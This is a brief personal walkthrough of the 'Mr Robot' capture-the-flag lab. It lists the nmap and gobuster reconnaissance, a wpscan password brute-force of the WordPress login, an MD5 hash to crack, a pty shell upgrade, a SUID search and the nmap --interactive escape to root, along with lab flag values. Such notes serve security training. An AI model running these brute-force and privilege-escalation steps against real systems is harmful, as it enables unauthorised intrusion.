MR Robot

Monday, October 28, 2024 1:09 PM

Information gathering
Nmap -sV 10.10.62.67
Starting Nmap 7.60 (https://nmap.org) at 2024-10-28 13:38 GMT
Nmap scan report for ip-10-10-62-67.eu-west-1.compute.internal (10.10.62.67)
Host is up (0.00049s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd
MAC Address: 02:99:9E:74:9E:A3 (Unknown)

Wpscan :
gobuster dir -u 10.10.62.67
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
The wordlist used is this check the path.

Exploitation:
http://10.10.62.67/robots.txt
http://key-1

Key1:073403c8a58a1f80d943455fb30724b9

Now run wpscan
Wpscan --url http://10.10.62.67/wp-login -U elliot -P path to wordlist
You will get ER28-0652

For 2nd falg and third I will practise it again inshAllah tommorrow

robot:c3fcd3d76192e4007dfb496cca67e13b md5 hash cracking it

For shell
python -c 'import pty; pty.spawn("/bin/bash")'
Now u can get as su robot
To find permissions
find / -perm +6000 2>/dev/null | grep '/bin/'
Nmap --interactive to make interactive shell
!sh and the cd/root you will get root and third flag